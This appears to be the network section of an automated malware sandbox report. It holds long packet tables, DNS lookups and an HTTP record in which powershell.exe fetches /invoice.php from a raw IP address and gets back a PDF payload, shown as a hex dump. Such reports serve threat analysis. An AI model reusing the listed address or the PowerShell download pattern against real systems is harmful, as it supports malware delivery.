Jan 10, 2025 18:46:37.428183079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428308964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428320885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428332090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428344011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428355932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428359985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.428368092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428384066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.428406000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.428584099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428596020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428626060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.443583012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.443701982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.445905924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.445936918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.445950031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.445982933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.446058989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446073055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446084023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446105003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.446126938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.446137905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446213007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446223974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446263075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.446268082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446280956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446305990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.446357012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446368933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446379900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446405888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.446427107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.446479082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446490049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.446540117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.461460114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.461479902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.461498976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.461513996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.461528063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.461541891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.461601019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.461615086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.461613894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.461613894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.461613894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.461671114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.470854044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.483392000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483428955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483442068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483452082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483465910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483469009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.483478069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483493090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483661890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483669996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.483670950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.483674049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483711004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.483721972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483735085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483745098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483757019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483760118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.483771086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.483783007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.483947039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.501010895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501032114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501044989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501059055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501070976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.501118898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.501122952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501137018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501148939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501171112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.501291990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501302958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501312971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501323938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501329899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.501337051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501348972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501393080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.501393080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.501508951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501519918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501530886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501543999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501554966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501559973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.501607895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.501607895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.501749992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501760960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501770973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501781940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501794100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501804113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.501805067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.501830101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.501861095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.502084017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502096891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502108097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502118111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502129078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502140999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502146959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.502151966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502167940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502172947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.502182007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502228022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.502250910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.502429008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502448082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502459049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502470970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502471924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.502485037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502495050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.502496958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502509117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502520084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502532005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502542019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502545118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.502553940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502612114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.502612114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.502938032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502954960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502964973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502976894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502989054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.502993107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.503002882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503024101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.503046989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.503238916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503249884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503259897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503272057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503283024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.503283978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503298044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503307104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.503345013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.503386021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503397942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503407955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503418922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503431082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503436089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.503443003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503454924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503459930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.503468990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503477097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.503484011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503496885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503509998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.503519058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.503540039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.504112959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.504126072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.504137039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.504159927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.504184008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.514537096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.514575005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.514588118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.514622927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.514652967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.514667034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.514688969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.514735937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.514750004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.514780045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.514873028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.514885902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.514898062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.514909983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.514911890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.514925003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.514946938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.514967918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.515115023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.515127897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.515139103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.515156984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.515156984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.515201092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.515340090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.515353918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.515364885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.515377045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.515384912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.515389919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.515405893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.515410900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.515451908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.531428099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.535115957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.548635006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.548669100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.548686028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.548697948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.548707962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.548712969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.548744917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.548787117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.548799992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.548824072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.548906088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.548917055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.548927069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.548947096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.548969984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.549093962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.549110889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.549120903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.549129009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.549138069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.549154043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.549163103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.549205065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.549277067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581069946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581109047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581131935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581130981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.581146955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581159115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581170082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.581199884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.581254959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581267118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581275940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581290007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581299067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.581302881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581332922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.581530094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581541061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581551075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581562996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.581571102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.581600904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.587941885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.587969065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.587985992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.587989092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.588046074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.588046074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.588061094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.588098049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.588150978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.588164091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.588202953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.588387966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.588398933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.588409901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.588421106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.588433027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.588433981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.588488102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.611694098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.758491039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:38.547337055 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:38.552419901 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:38.552580118 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:38.552752018 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:38.557528973 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:39.352788925 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:39.406541109 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:39.952522993 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:46:51.537606001 CET	59190	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:46:51.537606001 CET	192.168.2.5	1.1.1.1	0x3979	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:46:50.848896980 CET	1.1.1.1	192.168.2.5	0x1cd5	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:46:50.848896980 CET	1.1.1.1	192.168.2.5	0x1cd5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:46:50.848896980 CET	1.1.1.1	192.168.2.5	0x1cd5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:46:50.848896980 CET	1.1.1.1	192.168.2.5	0x1cd5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:46:50.848896980 CET	1.1.1.1	192.168.2.5	0x1cd5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:46:50.848896980 CET	1.1.1.1	192.168.2.5	0x1cd5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:46:50.848896980 CET	1.1.1.1	192.168.2.5	0x1cd5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:46:50.848896980 CET	1.1.1.1	192.168.2.5	0x1cd5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:46:50.848896980 CET	1.1.1.1	192.168.2.5	0x1cd5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:46:51.545046091 CET	1.1.1.1	192.168.2.5	0x3979	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1396	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:46:36.048295975 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:46:36.838046074 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:46:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 